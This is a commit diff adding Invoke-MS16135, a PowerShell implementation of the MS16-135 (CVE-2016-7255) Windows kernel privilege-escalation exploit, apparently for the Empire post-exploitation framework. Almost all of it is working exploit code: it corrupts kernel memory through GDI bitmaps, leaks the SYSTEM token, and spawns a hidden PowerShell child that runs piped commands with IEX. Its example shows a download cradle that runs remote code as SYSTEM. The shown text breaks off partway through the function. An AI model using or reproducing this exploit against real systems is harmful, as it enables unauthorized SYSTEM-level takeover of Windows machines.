Merge branch 'dev' of github.com:EmpireProject/Empire into dev
commit
a165b7f7af
|
@ -0,0 +1,986 @@
|
|||
function Invoke-MS16135 {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
PowerShell implementation of MS16-135 (CVE-2016-7255).
|
||||
Discovered by Neel Mehta and Billy Leonard of Google Threat Analysis Group Feike Hacquebord, Peter Pi and Brooks Li of Trend Micro
|
||||
Credit for the original PoC : TinySec (@TinySecEx)
|
||||
Credit for the Powershell implementation : Ruben Boonen (@FuzzySec)
|
||||
|
||||
Targets:
|
||||
|
||||
* Win7-Win10 (x64 only)
|
||||
|
||||
Successfully tested on :
|
||||
|
||||
* Win7 x64
|
||||
* Win8.1 x64
|
||||
* Win10 x64
|
||||
* Win2k12 R2 x64
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Author: Ruben Boonen (@FuzzySec)
|
||||
Blog: http://www.fuzzysecurity.com/
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: PowerShell v2+
|
||||
Optional Dependencies: None
|
||||
|
||||
EDIT: This script has been edited to include a parameter for custom commands and
|
||||
also hides the spawned shell. Many comments have also been removed and echo has
|
||||
moved to Write-Verbose. The original can be found at:
|
||||
https://github.com/FuzzySecurity/PSKernel-Primitives/blob/master/Sample-Exploits/MS16-135/MS16-135.ps1
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Invoke-MS16135 -Command "iex(New-Object Net.WebClient).DownloadString('http://google.com')"
|
||||
|
||||
Description
|
||||
-----------
|
||||
Will run the iex download cradle as SYSTEM
|
||||
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
|
||||
[Parameter(Position=0,Mandatory=$True)]
|
||||
[String]
|
||||
$Command
|
||||
)
|
||||
|
||||
Add-Type -TypeDefinition @"
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public int dwProcessId;
|
||||
public int dwThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
|
||||
public struct STARTUPINFO
|
||||
{
|
||||
public Int32 cb;
|
||||
public string lpReserved;
|
||||
public string lpDesktop;
|
||||
public string lpTitle;
|
||||
public Int32 dwX;
|
||||
public Int32 dwY;
|
||||
public Int32 dwXSize;
|
||||
public Int32 dwYSize;
|
||||
public Int32 dwXCountChars;
|
||||
public Int32 dwYCountChars;
|
||||
public Int32 dwFillAttribute;
|
||||
public Int32 dwFlags;
|
||||
public Int16 wShowWindow;
|
||||
public Int16 cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SQOS
|
||||
{
|
||||
public int Length;
|
||||
public int ImpersonationLevel;
|
||||
public int ContextTrackingMode;
|
||||
public bool EffectiveOnly;
|
||||
}
|
||||
|
||||
public static class Advapi32
|
||||
{
|
||||
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
|
||||
public static extern bool CreateProcessWithLogonW(
|
||||
String userName,
|
||||
String domain,
|
||||
String password,
|
||||
int logonFlags,
|
||||
String applicationName,
|
||||
String commandLine,
|
||||
int creationFlags,
|
||||
int environment,
|
||||
String currentDirectory,
|
||||
ref STARTUPINFO startupInfo,
|
||||
out PROCESS_INFORMATION processInformation);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool SetThreadToken(
|
||||
ref IntPtr Thread,
|
||||
IntPtr Token);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool OpenThreadToken(
|
||||
IntPtr ThreadHandle,
|
||||
int DesiredAccess,
|
||||
bool OpenAsSelf,
|
||||
out IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool OpenProcessToken(
|
||||
IntPtr ProcessHandle,
|
||||
int DesiredAccess,
|
||||
ref IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public extern static bool DuplicateToken(
|
||||
IntPtr ExistingTokenHandle,
|
||||
int SECURITY_IMPERSONATION_LEVEL,
|
||||
ref IntPtr DuplicateTokenHandle);
|
||||
}
|
||||
|
||||
public static class Kernel32
|
||||
{
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern uint GetLastError();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern IntPtr GetCurrentProcess();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern IntPtr GetCurrentThread();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern int GetThreadId(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern int GetProcessIdOfThread(IntPtr handle);
|
||||
|
||||
[DllImport("kernel32.dll",SetLastError=true)]
|
||||
public static extern int SuspendThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll",SetLastError=true)]
|
||||
public static extern int ResumeThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool TerminateProcess(
|
||||
IntPtr hProcess,
|
||||
uint uExitCode);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool DuplicateHandle(
|
||||
IntPtr hSourceProcessHandle,
|
||||
IntPtr hSourceHandle,
|
||||
IntPtr hTargetProcessHandle,
|
||||
ref IntPtr lpTargetHandle,
|
||||
int dwDesiredAccess,
|
||||
bool bInheritHandle,
|
||||
int dwOptions);
|
||||
}
|
||||
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct INPUT
|
||||
{
|
||||
public int itype;
|
||||
public KEYBDINPUT U;
|
||||
public int Size;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct KEYBDINPUT
|
||||
{
|
||||
public UInt16 wVk;
|
||||
public UInt16 wScan;
|
||||
public uint dwFlags;
|
||||
public int time;
|
||||
public IntPtr dwExtraInfo;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct tagMSG
|
||||
{
|
||||
public IntPtr hwnd;
|
||||
public UInt32 message;
|
||||
public UIntPtr wParam;
|
||||
public UIntPtr lParam;
|
||||
public UInt32 time;
|
||||
public POINT pt;
|
||||
}
|
||||
|
||||
public struct POINT
|
||||
{
|
||||
public Int32 x;
|
||||
public Int32 Y;
|
||||
}
|
||||
|
||||
public class ms16135
|
||||
{
|
||||
delegate IntPtr WndProc(
|
||||
IntPtr hWnd,
|
||||
uint msg,
|
||||
IntPtr wParam,
|
||||
IntPtr lParam);
|
||||
|
||||
[System.Runtime.InteropServices.StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
|
||||
struct WNDCLASSEX
|
||||
{
|
||||
public uint cbSize;
|
||||
public uint style;
|
||||
public IntPtr lpfnWndProc;
|
||||
public int cbClsExtra;
|
||||
public int cbWndExtra;
|
||||
public IntPtr hInstance;
|
||||
public IntPtr hIcon;
|
||||
public IntPtr hCursor;
|
||||
public IntPtr hbrBackground;
|
||||
[MarshalAs(UnmanagedType.LPWStr)]
|
||||
public string lpszMenuName;
|
||||
[MarshalAs(UnmanagedType.LPWStr)]
|
||||
public string lpszClassName;
|
||||
public IntPtr hIconSm;
|
||||
}
|
||||
|
||||
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
|
||||
static extern System.UInt16 RegisterClassW(
|
||||
[System.Runtime.InteropServices.In] ref WNDCLASSEX lpWndClass);
|
||||
|
||||
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern IntPtr CreateWindowExW(
|
||||
UInt32 dwExStyle,
|
||||
[MarshalAs(UnmanagedType.LPWStr)]
|
||||
string lpClassName,
|
||||
[MarshalAs(UnmanagedType.LPWStr)]
|
||||
string lpWindowName,
|
||||
UInt32 dwStyle,
|
||||
Int32 x,
|
||||
Int32 y,
|
||||
Int32 nWidth,
|
||||
Int32 nHeight,
|
||||
IntPtr hWndParent,
|
||||
IntPtr hMenu,
|
||||
IntPtr hInstance,
|
||||
IntPtr lpParam);
|
||||
|
||||
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
|
||||
static extern System.IntPtr DefWindowProcW(
|
||||
IntPtr hWnd,
|
||||
uint msg,
|
||||
IntPtr wParam,
|
||||
IntPtr lParam);
|
||||
|
||||
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern bool DestroyWindow(
|
||||
IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern bool UnregisterClass(
|
||||
String lpClassName,
|
||||
IntPtr hInstance);
|
||||
|
||||
[System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr GetModuleHandleW(
|
||||
[MarshalAs(UnmanagedType.LPWStr)]
|
||||
String lpModuleName);
|
||||
|
||||
[DllImport("user32.dll", EntryPoint="SetWindowLongPtr")]
|
||||
public static extern IntPtr SetWindowLongPtr(
|
||||
IntPtr hWnd,
|
||||
int nIndex,
|
||||
IntPtr dwNewLong);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool ShowWindow(
|
||||
IntPtr hWnd,
|
||||
int nCmdShow);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern IntPtr SetParent(
|
||||
IntPtr hWndChild,
|
||||
IntPtr hWndNewParent);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = false)]
|
||||
public static extern IntPtr GetDesktopWindow();
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool SetForegroundWindow(
|
||||
IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll", SetLastError=true)]
|
||||
public static extern void SwitchToThisWindow(
|
||||
IntPtr hWnd,
|
||||
bool fAltTab);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool GetMessage(
|
||||
out tagMSG lpMsg,
|
||||
IntPtr hWnd,
|
||||
uint wMsgFilterMin,
|
||||
uint wMsgFilterMax);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool TranslateMessage(
|
||||
[In] ref tagMSG lpMsg);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr DispatchMessage(
|
||||
[In] ref tagMSG lpmsg);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern IntPtr SetFocus(
|
||||
IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern uint SendInput(
|
||||
uint nInputs,
|
||||
[In] INPUT pInputs,
|
||||
int cbSize);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
public static extern int GetBitmapBits(
|
||||
IntPtr hbmp,
|
||||
int cbBuffer,
|
||||
IntPtr lpvBits);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
public static extern int SetBitmapBits(
|
||||
IntPtr hbmp,
|
||||
int cbBytes,
|
||||
IntPtr lpBits);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr VirtualAlloc(
|
||||
IntPtr lpAddress,
|
||||
uint dwSize,
|
||||
UInt32 flAllocationType,
|
||||
UInt32 flProtect);
|
||||
|
||||
public UInt16 CustomClass(string class_name)
|
||||
{
|
||||
m_wnd_proc_delegate = CustomWndProc;
|
||||
WNDCLASSEX wind_class = new WNDCLASSEX();
|
||||
wind_class.lpszClassName = class_name;
|
||||
///wind_class.cbSize = (uint)Marshal.SizeOf(wind_class);
|
||||
wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);
|
||||
return RegisterClassW(ref wind_class);
|
||||
}
|
||||
|
||||
private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
|
||||
{
|
||||
return DefWindowProcW(hWnd, msg, wParam, lParam);
|
||||
}
|
||||
|
||||
private WndProc m_wnd_proc_delegate;
|
||||
}
|
||||
"@
|
||||
|
||||
#==============================================================[Banner]
|
||||
$ms16135 = @"
|
||||
_____ _____ ___ ___ ___ ___ ___
|
||||
| | __|_ | | _|___|_ | |_ | _|
|
||||
| | | |__ |_| |_| . |___|_| |_|_ |_ |
|
||||
|_|_|_|_____|_____|___| |_____|___|___|
|
||||
|
||||
[by b33f -> @FuzzySec]
|
||||
|
||||
"@
|
||||
$ms16135
|
||||
|
||||
if ([System.IntPtr]::Size -ne 8) {
|
||||
"`n[!] Target architecture is x64 only!`n"
|
||||
Return
|
||||
}
|
||||
|
||||
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
|
||||
$Script:OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
|
||||
switch ($OSMajorMinor)
|
||||
{
|
||||
'10.0' # Win10 / 2k16
|
||||
{
|
||||
Write-Verbose "[?] Target is Win 10"
|
||||
Write-Verbose "[+] Bitmap dimensions: 0x760*0x4`n"
|
||||
}
|
||||
|
||||
'6.3' # Win8.1 / 2k12R2
|
||||
{
|
||||
Write-Verbose "[?] Target is Win 8.1"
|
||||
Write-Verbose "[+] Bitmap dimensions: 0x760*0x4`n"
|
||||
}
|
||||
|
||||
'6.2' # Win8 / 2k12
|
||||
{
|
||||
Write-Verbose "[?] Target is Win 8"
|
||||
Write-Verbose "[+] Bitmap dimensions: 0x760*0x4`n"
|
||||
}
|
||||
|
||||
'6.1' # Win7 / 2k8R2
|
||||
{
|
||||
Write-Verbose "[?] Target is Win 7"
|
||||
Write-Verbose "[+] Bitmap dimensions: 0x770*0x4`n"
|
||||
}
|
||||
}
|
||||
|
||||
function Get-LoadedModules {
|
||||
|
||||
Add-Type -TypeDefinition @"
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct SYSTEM_MODULE_INFORMATION
|
||||
{
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]
|
||||
public UIntPtr[] Reserved;
|
||||
public IntPtr ImageBase;
|
||||
public UInt32 ImageSize;
|
||||
public UInt32 Flags;
|
||||
public UInt16 LoadOrderIndex;
|
||||
public UInt16 InitOrderIndex;
|
||||
public UInt16 LoadCount;
|
||||
public UInt16 ModuleNameOffset;
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)]
|
||||
internal Char[] _ImageName;
|
||||
public String ImageName {
|
||||
get {
|
||||
return new String(_ImageName).Split(new Char[] {'\0'}, 2)[0];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static class Ntdll
|
||||
{
|
||||
[DllImport("ntdll.dll")]
|
||||
public static extern int NtQuerySystemInformation(
|
||||
int SystemInformationClass,
|
||||
IntPtr SystemInformation,
|
||||
int SystemInformationLength,
|
||||
ref int ReturnLength);
|
||||
}
|
||||
"@
|
||||
|
||||
[int]$BuffPtr_Size = 0
|
||||
while ($true) {
|
||||
[IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size)
|
||||
$SystemInformationLength = New-Object Int
|
||||
|
||||
$CallResult = [Ntdll]::NtQuerySystemInformation(11, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength)
|
||||
|
||||
if ($CallResult -eq 0xC0000004) {
|
||||
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
|
||||
[int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength)
|
||||
}
|
||||
elseif ($CallResult -eq 0x00000000) {
|
||||
break
|
||||
}
|
||||
else {
|
||||
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
$SYSTEM_MODULE_INFORMATION = New-Object SYSTEM_MODULE_INFORMATION
|
||||
$SYSTEM_MODULE_INFORMATION = $SYSTEM_MODULE_INFORMATION.GetType()
|
||||
if ([System.IntPtr]::Size -eq 4) {
|
||||
$SYSTEM_MODULE_INFORMATION_Size = 284
|
||||
} else {
|
||||
$SYSTEM_MODULE_INFORMATION_Size = 296
|
||||
}
|
||||
|
||||
$BuffOffset = $BuffPtr.ToInt64()
|
||||
$HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset)
|
||||
$BuffOffset = $BuffOffset + [System.IntPtr]::Size
|
||||
|
||||
$SystemModuleArray = @()
|
||||
for ($i=0; $i -lt $HandleCount; $i++){
|
||||
$SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset
|
||||
$Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_MODULE_INFORMATION)
|
||||
|
||||
$HashTable = @{
|
||||
ImageName = $Cast.ImageName
|
||||
ImageBase = if ([System.IntPtr]::Size -eq 4) {$($Cast.ImageBase).ToInt32()} else {$($Cast.ImageBase).ToInt64()}
|
||||
ImageSize = "0x$('{0:X}' -f $Cast.ImageSize)"
|
||||
}
|
||||
|
||||
$Object = New-Object PSObject -Property $HashTable
|
||||
$SystemModuleArray += $Object
|
||||
|
||||
$BuffOffset = $BuffOffset + $SYSTEM_MODULE_INFORMATION_Size
|
||||
}
|
||||
|
||||
$SystemModuleArray
|
||||
|
||||
# Free SystemModuleInformation array
|
||||
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
|
||||
}
|
||||
|
||||
function Stage-gSharedInfoBitmap {
|
||||
|
||||
Add-Type -TypeDefinition @"
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
|
||||
public static class gSharedInfoBitmap
|
||||
{
|
||||
[DllImport("gdi32.dll")]
|
||||
public static extern IntPtr CreateBitmap(
|
||||
int nWidth,
|
||||
int nHeight,
|
||||
uint cPlanes,
|
||||
uint cBitsPerPel,
|
||||
IntPtr lpvBits);
|
||||
|
||||
[DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
|
||||
public static extern IntPtr LoadLibrary(
|
||||
string lpFileName);
|
||||
|
||||
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
|
||||
public static extern IntPtr GetProcAddress(
|
||||
IntPtr hModule,
|
||||
string procName);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr CreateAcceleratorTable(
|
||||
IntPtr lpaccl,
|
||||
int cEntries);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool DestroyAcceleratorTable(
|
||||
IntPtr hAccel);
|
||||
}
|
||||
"@
|
||||
|
||||
if ([System.IntPtr]::Size -eq 4) {
|
||||
$x32 = 1
|
||||
}
|
||||
|
||||
function Create-AcceleratorTable {
|
||||
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(10000)
|
||||
$AccelHandle = [gSharedInfoBitmap]::CreateAcceleratorTable($Buffer, 700) # +4 kb size
|
||||
$User32Hanle = [gSharedInfoBitmap]::LoadLibrary("user32.dll")
|
||||
$gSharedInfo = [gSharedInfoBitmap]::GetProcAddress($User32Hanle, "gSharedInfo")
|
||||
if ($x32){
|
||||
$gSharedInfo = $gSharedInfo.ToInt32()
|
||||
} else {
|
||||
$gSharedInfo = $gSharedInfo.ToInt64()
|
||||
}
|
||||
$aheList = $gSharedInfo + [System.IntPtr]::Size
|
||||
if ($x32){
|
||||
$aheList = [System.Runtime.InteropServices.Marshal]::ReadInt32($aheList)
|
||||
$HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0xc # _HANDLEENTRY.Size = 0xC
|
||||
$phead = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleEntry)
|
||||
} else {
|
||||
$aheList = [System.Runtime.InteropServices.Marshal]::ReadInt64($aheList)
|
||||
$HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0x18 # _HANDLEENTRY.Size = 0x18
|
||||
$phead = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleEntry)
|
||||
}
|
||||
|
||||
$Result = @()
|
||||
$HashTable = @{
|
||||
Handle = $AccelHandle
|
||||
KernelObj = $phead
|
||||
}
|
||||
$Object = New-Object PSObject -Property $HashTable
|
||||
$Result += $Object
|
||||
$Result
|
||||
}
|
||||
|
||||
function Destroy-AcceleratorTable {
|
||||
param ($Hanlde)
|
||||
$CallResult = [gSharedInfoBitmap]::DestroyAcceleratorTable($Hanlde)
|
||||
}
|
||||
|
||||
$KernelArray = @()
|
||||
for ($i=0;$i -lt 20;$i++) {
|
||||
$KernelArray += Create-AcceleratorTable
|
||||
if ($KernelArray.Length -gt 1) {
|
||||
if ($KernelArray[$i].KernelObj -eq $KernelArray[$i-1].KernelObj) {
|
||||
Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle
|
||||
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x50*2*4)
|
||||
if ($OSMajorMinor -eq "6.1") {
|
||||
$BitmapHandle = [gSharedInfoBitmap]::CreateBitmap(0x770, 4, 1, 8, $Buffer) # Win7
|
||||
} else {
|
||||
$BitmapHandle = [gSharedInfoBitmap]::CreateBitmap(0x760, 4, 1, 8, $Buffer) # Win8-10
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle
|
||||
}
|
||||
|
||||
$BitMapObject = @()
|
||||
$HashTable = @{
|
||||
BitmapHandle = $BitmapHandle
|
||||
BitmapKernelObj = $($KernelArray[$i].KernelObj)
|
||||
BitmappvScan0 = if ($x32) {$($KernelArray[$i].KernelObj) + 0x32} else {$($KernelArray[$i].KernelObj) + 0x50}
|
||||
}
|
||||
$Object = New-Object PSObject -Property $HashTable
|
||||
$BitMapObject += $Object
|
||||
$BitMapObject
|
||||
}
|
||||
|
||||
function Bitmap-Elevate {
|
||||
param([IntPtr]$ManagerBitmap,[IntPtr]$WorkerBitmap)
|
||||
|
||||
Add-Type -TypeDefinition @"
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
public static class BitmapElevate
|
||||
{
|
||||
[DllImport("gdi32.dll")]
|
||||
public static extern int SetBitmapBits(
|
||||
IntPtr hbmp,
|
||||
uint cBytes,
|
||||
byte[] lpBits);
|
||||
[DllImport("gdi32.dll")]
|
||||
public static extern int GetBitmapBits(
|
||||
IntPtr hbmp,
|
||||
int cbBuffer,
|
||||
IntPtr lpvBits);
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr VirtualAlloc(
|
||||
IntPtr lpAddress,
|
||||
uint dwSize,
|
||||
UInt32 flAllocationType,
|
||||
UInt32 flProtect);
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool VirtualFree(
|
||||
IntPtr lpAddress,
|
||||
uint dwSize,
|
||||
uint dwFreeType);
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool FreeLibrary(
|
||||
IntPtr hModule);
|
||||
[DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
|
||||
public static extern IntPtr LoadLibrary(
|
||||
string lpFileName);
|
||||
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
|
||||
public static extern IntPtr GetProcAddress(
|
||||
IntPtr hModule,
|
||||
string procName);
|
||||
}
|
||||
"@
|
||||
|
||||
function Bitmap-Read {
|
||||
param ($Address)
|
||||
$CallResult = [BitmapElevate]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))
|
||||
[IntPtr]$Pointer = [BitmapElevate]::VirtualAlloc([System.IntPtr]::Zero, [System.IntPtr]::Size, 0x3000, 0x40)
|
||||
$CallResult = [BitmapElevate]::GetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, $Pointer)
|
||||
if ($x32Architecture){
|
||||
[System.Runtime.InteropServices.Marshal]::ReadInt32($Pointer)
|
||||
} else {
|
||||
[System.Runtime.InteropServices.Marshal]::ReadInt64($Pointer)
|
||||
}
|
||||
$CallResult = [BitmapElevate]::VirtualFree($Pointer, [System.IntPtr]::Size, 0x8000)
|
||||
}
|
||||
|
||||
function Bitmap-Write {
|
||||
param ($Address, $Value)
|
||||
$CallResult = [BitmapElevate]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))
|
||||
$CallResult = [BitmapElevate]::SetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Value))
|
||||
}
|
||||
|
||||
switch ($OSMajorMinor)
|
||||
{
|
||||
'10.0' # Win10 / 2k16
|
||||
{
|
||||
$UniqueProcessIdOffset = 0x2e8
|
||||
$TokenOffset = 0x358
|
||||
$ActiveProcessLinks = 0x2f0
|
||||
}
|
||||
|
||||
'6.3' # Win8.1 / 2k12R2
|
||||
{
|
||||
$UniqueProcessIdOffset = 0x2e0
|
||||
$TokenOffset = 0x348
|
||||
$ActiveProcessLinks = 0x2e8
|
||||
}
|
||||
|
||||
'6.2' # Win8 / 2k12
|
||||
{
|
||||
$UniqueProcessIdOffset = 0x2e0
|
||||
$TokenOffset = 0x348
|
||||
$ActiveProcessLinks = 0x2e8
|
||||
}
|
||||
|
||||
'6.1' # Win7 / 2k8R2
|
||||
{
|
||||
$UniqueProcessIdOffset = 0x180
|
||||
$TokenOffset = 0x208
|
||||
$ActiveProcessLinks = 0x188
|
||||
}
|
||||
}
|
||||
|
||||
Write-Verbose "`n[>] Leaking SYSTEM _EPROCESS.."
|
||||
$SystemModuleArray = Get-LoadedModules
|
||||
$KernelBase = $SystemModuleArray[0].ImageBase
|
||||
$KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1]
|
||||
$KernelHanle = [BitmapElevate]::LoadLibrary("$KernelType")
|
||||
$PsInitialSystemProcess = [BitmapElevate]::GetProcAddress($KernelHanle, "PsInitialSystemProcess")
|
||||
$SysEprocessPtr = if (!$x32Architecture) {$PsInitialSystemProcess.ToInt64() - $KernelHanle + $KernelBase} else {$PsInitialSystemProcess.ToInt32() - $KernelHanle + $KernelBase}
|
||||
$CallResult = [BitmapElevate]::FreeLibrary($KernelHanle)
|
||||
Write-Verbose "[+] _EPROCESS list entry: 0x$("{0:X}" -f $SysEprocessPtr)"
|
||||
$SysEPROCESS = Bitmap-Read -Address $SysEprocessPtr
|
||||
Write-Verbose "[+] SYSTEM _EPROCESS address: 0x$("{0:X}" -f $(Bitmap-Read -Address $SysEprocessPtr))"
|
||||
Write-Verbose "[+] PID: $(Bitmap-Read -Address $($SysEPROCESS+$UniqueProcessIdOffset))"
|
||||
Write-Verbose "[+] SYSTEM Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)))"
|
||||
$SysToken = Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)
|
||||
|
||||
Write-Verbose "`n[>] Spawn child"
|
||||
|
||||
$npipeName = Get-Random
|
||||
|
||||
Write-Verbose "`n[>] Choosen name : $npipeName"
|
||||
|
||||
$StartupInfo = New-Object STARTUPINFO
|
||||
$StartupInfo.dwFlags = 0x00000001
|
||||
$StartupInfo.wShowWindow = 0x00000000
|
||||
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
|
||||
$ProcessInfo = New-Object PROCESS_INFORMATION
|
||||
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
|
||||
$CallResult = [Advapi32]::CreateProcessWithLogonW(
|
||||
"user", "domain", "pass",
|
||||
0x00000002, "$Env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe", " add-type -assemblyName `'System.Core`';`$npipeClient = new-object System.IO.Pipes.NamedPipeClientStream(`'.`', `'$npipeName`', [System.IO.Pipes.PipeDirection]::InOut,[System.IO.Pipes.PipeOptions]::None,[System.Security.Principal.TokenImpersonationLevel]::Impersonation);`$pipeReader = `$pipeWriter = `$null;`$playerName = `'ping`';`$npipeClient.Connect();`$pipeWriter = new-object System.IO.StreamWriter(`$npipeClient);`$pipeReader = new-object System.IO.StreamReader(`$npipeClient);`$pipeWriter.AutoFlush = `$true;`$pipeWriter.WriteLine(`$playerName);IEX `$pipeReader.ReadLine();`$npipeClient.Dispose();",
|
||||
$null, $null, $GetCurrentPath,
|
||||
[ref]$StartupInfo, [ref]$ProcessInfo)
|
||||
|
||||
|
||||
add-type -assemblyName "System.Core"
|
||||
$npipeServer = new-object System.IO.Pipes.NamedPipeServerStream($npipeName, [System.IO.Pipes.PipeDirection]::InOut)
|
||||
$npipeServer.WaitForConnection()
|
||||
$pipeReader = new-object System.IO.StreamReader($npipeServer)
|
||||
$script:pipeWriter = new-object System.IO.StreamWriter($npipeServer)
|
||||
$pipeWriter.AutoFlush = $true
|
||||
$playerName = $pipeReader.ReadLine()
|
||||
|
||||
if($playerName -eq "ping")
|
||||
{
|
||||
Write-Verbose "[+] Ping from child, voila"
|
||||
}
|
||||
